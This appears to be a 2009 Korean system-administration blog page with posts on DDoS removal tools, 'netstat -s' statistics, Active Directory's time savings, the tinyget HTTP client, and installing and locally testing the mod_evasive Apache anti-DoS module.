http://kr.ahnlab.com/downLoadFreeVaccine.ahn?filename=v3filecleanex.exe

 
 
 
nProtect 전용백신
http://pds.nprotect.co.kr/pds/scan/nProtectEAVDDoS-Host.com

 
 
카스퍼스키 전용백신
http://www.kaspersky.co.kr/board/bbs/board.php?bo_table=News&wr_id=272&sca=&sfl=wr_subject%7C%7Cwr_content&stx=ddos&sop=and&nca=
DDoS 악성 코드 관련 전용 백신 입니다.
2009/08/05 12:26 2009/08/05 12:26
최근 DDoS 관련 하여 여러가지 자료 수집을 하고  공부를 하다보니 여러가지 네트워크에 대하여 다시 보게 된다.

그중에서 우리가 흔히 시스템에서 네트워크 현황을 보려고 할때 주로 사용하는 'netstat' 명령어 중에서 -s 옵션을 알게 되었다..

그냥 지나치게 되는 옵션인데 내용을 보니 아주 많은 부분을 볼수 있는 옵션이다.  특히 DDoS에 대한 기술적 대응시에는 많은 참조가 되겠다.

[root@www ~]# netstat -s
Ip:
   7782 total packets received
   0 forwarded
   0 incoming packets discarded

   4317 incoming packets delivered
   3341 requests sent out
Icmp:
   353 ICMP messages received
   0 input ICMP message failed.
   ICMP input histogram:
       destination unreachable: 326
       echo requests: 27
   404 ICMP messages sent
   0 ICMP messages failed
   ICMP output histogram:
       destination unreachable: 377
       echo replies: 27
IcmpMsg:
       InType3: 326
       InType8: 27
       OutType0: 27
       OutType3: 377
Tcp:
   2 active connections openings
   29 passive connection openings
   1 failed connection attempts
   1 connection resets received
   1 connections established
   2098 segments received
   2086 segments send out
   2 segments retransmited
   0 bad segments received.
   250 resets sent
Udp:
   53 packets received
   377 packets to unknown port received.
   0 packet receive errors
   379 packets sent
TcpExt:
   1 resets received for embryonic SYN_RECV sockets
   2 TCP sockets finished time wait in fast timer
   90 delayed acks sent
   Quick ack mode was activated 2 times
   29 packets directly queued to recvmsg prequeue.
   2 packets directly received from prequeue
   248 packets header predicted
   459 acknowledgments not containing data received
   140 predicted acknowledgments
   1 congestion windows recovered after partial ack
   0 TCP data loss events
   2 other TCP timeouts
   2 DSACKs sent for old packets
   1 DSACKs received
IpExt:
   InMcastPkts: 975
   OutMcastPkts: 515
   InBcastPkts: 506
[root@www ~]#

패킷과 ICMP,TCP,UDP등 왠만한 프로토콜에 대한 패킷수라든지, 컨넥션수등을 알수 있다.  간단한 명령어와 옵션을 가지고도 많은 정보를 알수 있다.  참고 하기 바랍니다..
2009/07/31 21:50 2009/07/31 21:50

Windows 2008이 나오면서 액티브 디렉터리(Active Directory)의 위상이 바뀌고 있습니다. 과거 시스템의 대부분이 AD가 없어도 잘 동작하는 환경에서 나왔지만, 보안이 점차 중요해지면서 합법적인 권한을 부여 받기 위한 환경을 구성하기 위해 AD를 요구하는 프로그램들이 점차 늘어가고 있기 때문입니다. 물론, AD가 없는 환경에서도 잘 동작하는 프로그램도 많이 있지만, AD가 없어도 잘 동작하는 프로그램이라도 AD가 있으면 보다 더 짧은 작업 시간을 들여서 같은 효과를 낼 수 있습니다.

과거의 AD는 특정 응용 프로그램(예를 들면 익스체인지 같은..)을 동작하기 위해 필요했지만, 이제는 단순한 응용 프로그램의 동작을 넘어 다수의 시스템 통합에 사용됩니다. 점차적으로 시스템이 많아지고 복잡해지면서 직원이 작업에 필요한 부분에 접근하는 일이 많아지고 있습니다. 접근할 일이 많다는 것은 곧 허가를 받아야 한다는 것이고, 이런 작업은 생산성과 관련된 업무와는 거리가 있는 일입니다.

VPN 장비가 있다고 가정을 해봅시다. VPN에는 접근할 수 있는 사용자의 계정이 존재하며, 계정에 따라 접근할 수 있는 범위가 다릅니다. (1)VPN에 접근하기 위해서 사용자는 자신의 정보를 제공해야 합니다. VPN에 접근한 사용자는 회선만 연결한 상태이므로 자신이 쉽게 (2)작업을 할 수 있는 자신의 PC에 접속을 합니다. 그 후에 (3)자신이 원하는 자원이 있는 곳에 접근하기 위해서 자신의 정보를 입력해야 합니다. 보통 한 곳만 보면 모든 일이 해결되는 것이 아니므로 보통 서너번 더 정보를 입력해야 원하는 정보까지 접근할 수 있습니다. 이렇게 잦은 정보의 입력은 사용자에게 불편함을 가져오고, 시스템에는 과부하로, 그리고 보안상에서는 헛점으로 남습니다.

일반적인 회사에서 현실적으로 직원 한 명이 커버 가능한 서버의 댓수는 몇 대 일까요? 서버를 점검하는 가장 간단한 방법은 이벤트 뷰어를 보는 것이겠지요. 그러면 한번 단순한 계산을 해봅시다. 서버 1대를 점검하는데 걸리는 시간을 확인해봅시다.

시나리오 : AD 구축 없으며, 모두 다 독립된 실행인 환경

점검하기 위한 과정 :

  1. 원격 데스크톱 실행(5초)
  2. 로그인(10초)
  3. 이벤트 뷰어 3개(응용 프로그램, 시스템, 보안로그) 확인(각 20초)
  4. 로그오프(5초)

전체 소요시간은 5+10+5+(20x3)+5하여 85초가 소요됩니다. 오차를 위해 5초의 추가 시간을 주면 1분 30초라는 짧은 시간이 나옵니다. 그러면 서버가 늘어나면 어떻게 될까요?

위 과정은 서버의 증설에 따라 시간이 점차 늘어납니다. 위 표를 보면 서버가 100대가 되었을 때를 기준으로 보면, 전체 소요시간은 2시간 21분 40초로 나와있지만, 실제 원하는 작업인 이벤트 뷰어를 보는 시간은 1시간 40분 정도 밖에 되지 않습니다. 전체 작업 시간은 약 140분이지만, 실제 작업에 필요한 시간은 100분 정도입니다. 최종 작업을 위해 40분 정도를 낭비한 것입니다. 더구나 위의 표는 상당히 이상적인 시간을 기록한 것니까 실제 업무에서는 더 많은 시간이 소요됩니다.

그렇다면 AD를 적용하면 어떻게 될까요? 이벤트 뷰어를 하나 열고 컴퓨터에 접속을 하기만 하면 되고, 보다 귀찮으신 분이라면 이를 다 연결해둔 다음에 파일로 저장해 둔다면, 1번의 실행과 이벤트 뷰어의 확인 시간만 소요될 것입니다. 즉, 100대 기준으로 보면 1시간 40분+5초라는 시간이 걸립니다.

소규모인 경우에는 AD의 유지 비용이 있기 때문에 오히려 더 큰 손실을 입을 수 있습니다. 하지만, 같은 층에 같은 레벨에 컴퓨터가 다수 있다면, 이에 대한 효과적인 접근 방법 및 제어를 이루기 위한 방법으로 AD의 도입은 필수가 아닐까요? 물론 MOM과 같은 전문 모니터링 툴을 사용한다면, 이런 불편함은 없겠지만 말이죠.

출처: http://www.ntfaq.co.kr/4326

2009/07/27 18:45 2009/07/27 18:45

Windows Server 2003 Resource Kit에는 tinyget이라는 외부 명령어가 있다. tinyget은 명령줄 기반의 HTTP 클라이언트로 웹 브라우징에 사용하기 위한 용도로 제공되는 것이 아니라 디버깅 및 단순 스트레스 테스트를 위해서 사용할 수 있는 프로그램이다.

tinyget을 실행해보면 복잡한 옵션이 있지만, 복잡한 옵션 중에서 화면에 결과물을 보기위한 기본적인 사용법은 다음과 같이 하면 된다.

기본 사용법 : tinyget –srv:[DOMAIN or IP] –uri:[PAHT] –[D or T or H]

예를 들어, www.ntfaq.co.kr 사이트의 결과를 보고 싶다면 다음과 같이 명령어를 사용하면 된다.

C:\> tinyget –srv:www.ntfaq.co.kr –uri:/ –d

 위의 예제에 쓰인 옵션을 설명하면 다음과 같다.

  • srv : 서버에 접속할 주소로 파일 명까지 포함한 것이 아니라 도메인 명이나 IP만 써야 한다.
  • uri : 접속할 경로 및 페이지와 파라메터. 예제에서는 /를 지정하였으므로 기본 페이지를 지정함. 특정 파일 경로와 파일 지정할 때에는 /대신에 다음과 같이 입력하면 된다. /guestbook?page=2
  • d : 데이터를 보여 준다. h는 헤더를 보여주며, t를 사용할 시에는 주고 보낸 모든 응답을 보여준다.

 하지만, 서버 앞에 L4같은 로드벨런서 장비가 있는 경우에는 원하는 결과를 얻을 수 없다. 예를 들면, tinyget –srv:www.ntfaq.co.kr –uri:/ –d 는 정상적인 NTFAQ Korea 사이트로 표기되지만, tinyget –srv:211.172.252.15 –uri:/ –d 는 원하는 결과가 아니다. 이러한 차이는 호스트 헤더를 통해 웹서비스를 구분하기 때문인데, tinyget에는 –rh(-reqheaders) 를 이용하여 다음과 같이 지정할 수 있다.

C:\> tinyget -srv:211.172.252.15 -uri:/ -d -rh:"Host: www.ntfaq.co.kr\r\n"

-d 옵션을 사용하는 경우, 결과물을 눈으로 보기란 힘들기 때문에 -h를 사용해서 간략화 시키는 방안도 좋지만,

C:\> tinyget -srv:211.172.252.15 -uri:/ -h -rh:"Host: www.ntfaq.co.kr\r\n"

보다 깔끔하게 하기 위해서는 정상일 때 결과값을 지정해두고 오류가 났을 때만 보이도록 설정하는 게 더 깔끔하다.

C:\> tinyget -srv:211.172.252.15 -uri:/ -rh:"Host: www.ntfaq.co.kr\r\n" -status:200

헤더값 체크로 만족스럽지 않다면, 아예 본문에 오류 문자열이 있는지 확인하는 것도 좋다

C:\> tinyget -srv:211.172.252.15 -uri:/ -rh:"Host: www.ntfaq.co.kr\r\n" -testnotcontainstring:장애

 이렇게 다양한 옵션을 통해 원하는 결과를 얻을 수 있지만, 이 결과를 어떻게 효과적으로 모니터링할 것인지는 관리자의 몫으로 남겨두겠다.

 tinyget을 모니터링 이외에 사용하는 또 하나의 좋은 방안은 ASP.NET이나 JSP로 된 사이트의 경우 접속자가 매우 적거나 시스템을 재부팅한 경우, 첫번째 접속자는 컴파일이 되기 전이므로 컴파일 완료시까지 오류를 만나기 쉬운데 이를 막고자 하는 용도로도 사용하기에 적합하다는 점이다.

출처 : http://www.ntfaq.co.kr/4314

2009/07/27 18:44 2009/07/27 18:44

os Sulinux 1.5


Dos공격 방어 (mod_evasive) 설치

# wget http://www.zdziarski.com/projects/mod_evasive/mod_evasive_1.10.1.tar.gz

 
# tar xvzf mod_evasive_1.10.1.tar.gz
# cd mod_evasive
# /usr/local/apache/bin/apxs -iac mod_evasive20.c

http.conf

<ifModule mod_evasive20.c>
DOSHashTableSize 3097
DOSPageCount 3
DOSSiteCount 50
DOSPageInterval 1
DOSSiteInterval 1
DOSBlockingPeriod 30
</IfModule>


dos 차단 테스트

[root@mail mod_evasive]# perl test.pl
HTTP/1.1 200 OK
HTTP/1.1 200 OK
HTTP/1.1 200 OK
HTTP/1.1 200 OK
HTTP/1.1 200 OK
HTTP/1.1 200 OK
HTTP/1.1 200 OK
HTTP/1.1 200 OK
HTTP/1.1 200 OK
HTTP/1.1 200 OK
HTTP/1.1 200 OK
HTTP/1.1 200 OK
HTTP/1.1 200 OK
HTTP/1.1 200 OK
HTTP/1.1 200 OK
HTTP/1.1 200 OK
HTTP/1.1 200 OK
HTTP/1.1 200 OK
HTTP/1.1 200 OK
HTTP/1.1 200 OK
HTTP/1.1 200 OK
HTTP/1.1 200 OK
HTTP/1.1 200 OK
HTTP/1.1 200 OK
HTTP/1.1 200 OK
HTTP/1.1 200 OK
HTTP/1.1 200 OK
HTTP/1.1 200 OK
HTTP/1.1 200 OK
HTTP/1.1 200 OK
HTTP/1.1 200 OK
HTTP/1.1 200 OK
HTTP/1.1 403 Forbidden
HTTP/1.1 403 Forbidden
HTTP/1.1 403 Forbidden
HTTP/1.1 403 Forbidden
HTTP/1.1 403 Forbidden
HTTP/1.1 403 Forbidden
HTTP/1.1 403 Forbidden
..생략...


# cd /tmp

# ls -al | grep 127.0.0.1
-rw-r--r--   1 nobody 4294967295    6  3월 13 14:04 dos-127.0.0.1


위와 같이 test.pl 실행하면 HTTP/1.1 403 Forbidden 메세지를 보여주고 접속 차단
/tmp에 저장 127.0.0.1 에서 DOS 공격이 차단 됐다는
dos-127.0.0.1파일이 생성 됐다는것이다


두번째방법으로 웹에서 새로고침 누르면
처음에 접속이 됐다가 두번째는 접속이 불가능

인가된 IP주소 할당

DOSWhitelist 127.0.0.1
DOSWhitelist 127.*.*.*

와일드카드(*)는 필요하다면 최대 xxx.*.*.* 까지 사용할 수 있다.

2009/07/27 18:26 2009/07/27 18:26